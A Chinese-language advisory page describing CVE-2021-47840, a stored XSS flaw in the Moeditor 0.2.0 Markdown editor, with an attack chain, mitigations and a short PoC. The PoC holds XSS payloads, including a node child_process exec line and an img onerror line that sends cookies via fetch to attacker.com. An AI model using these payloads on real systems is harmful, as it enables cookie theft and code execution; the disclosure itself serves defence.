IPBUF安全漏洞报告
English
CVE-2021-47840 CVSS 7.2 高危

CVE-2021-47840 Moeditor 0.2.0 持久型跨站脚本漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2021-47840
漏洞类型
持久型XSS(跨站脚本攻击)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Moeditor 0.2.0

相关标签

持久型XSS跨站脚本攻击MoeditorMarkdown编辑器ElectronCVE-2021-47840高危漏洞远程代码执行Stored XSS

漏洞概述

CVE-2021-47840是Moeditor 0.2.0版本中的一个高危安全漏洞,属于持久型跨站脚本攻击(Stored XSS)。Moeditor是一个基于Electron框架开发的Markdown编辑器应用程序。该漏洞允许攻击者通过上传特制的Markdown文件,在其中嵌入恶意JavaScript代码。当其他用户打开或预览这些恶意文件时,嵌入的脚本代码会在受害者的浏览器上下文中执行。由于是持久型XSS,恶意载荷会存储在文件系统中,每次打开文件都会触发,可能导致会话劫持、敏感信息窃取,甚至在特定条件下触发远程代码执行(RCE)。该漏洞的CVSS评分为7.2,属于高危级别,攻击复杂度低且无需认证即可利用,对系统的机密性和完整性造成一定影响。

技术细节

Moeditor 0.2.0在处理Markdown文件时,未对文件内容进行充分的输入验证和输出编码。攻击者可以利用Markdown支持的HTML标签功能,在文件中注入恶意的HTML/JavaScript代码。具体来说,当Markdown解析器处理文件时,会将HTML标签原样渲染到页面中,导致嵌入的JavaScript代码被执行。由于该文件会被保存在本地或通过文件共享传播,恶意代码会在所有打开该文件的用户环境中执行,形成持久型攻击。攻击者可能利用此漏洞窃取存储在本地的敏感信息(如其他文件内容、浏览器Cookie等),或者结合Electron的nodeIntegration等配置不当设置,进一步实现远程代码执行。漏洞的利用前提是用户打开攻击者精心制作的Markdown文件,无需额外的用户交互。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意JavaScript代码的Markdown文件,利用Markdown支持的HTML标签注入XSS载荷
STEP 2
步骤2
攻击者将恶意Markdown文件通过文件共享、邮件附件或其他渠道传播给目标用户
STEP 3
步骤3
受害者在Moeditor应用中打开恶意Markdown文件
STEP 4
步骤4
Moeditor的Markdown解析器将恶意HTML/JavaScript代码渲染到页面中
STEP 5
步骤5
嵌入的JavaScript代码在受害者浏览器上下文中执行,可窃取敏感信息或执行恶意操作
STEP 6
步骤6
如Electron配置不当,攻击者可进一步利用nodeIntegration实现远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2021-47840 PoC - Moeditor Persistent XSS # Create a malicious markdown file with embedded XSS payload malicious_content = ''' # Test Document ![XSS](https://example.com/image.jpg" onerror="alert(document.domain)) This is a test document. ''' # Save the malicious file with open('malicious.md', 'w', encoding='utf-8') as f: f.write(malicious_content) print('Malicious markdown file created: malicious.md') print('When opened in Moeditor, the JavaScript will execute') # Alternative payload for RCE (if nodeIntegration is enabled) rce_payload = ''' # Document <script> require('child_process').exec('calc.exe'); </script> ''' # HTML-based payload html_payload = ''' # Document <img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)"> '''

影响范围

Moeditor 0.2.0

防御指南

临时缓解措施
在官方修复发布之前,避免打开来源不明的Markdown文件,特别是通过非官方渠道获取的文件。对于必须处理的文件,可以使用文本编辑器手动审查文件内容,确保不包含可疑的HTML标签或JavaScript代码。同时检查Moeditor的Electron配置,确保nodeIntegration已禁用,contextIsolation已启用,以降低潜在的远程代码执行风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表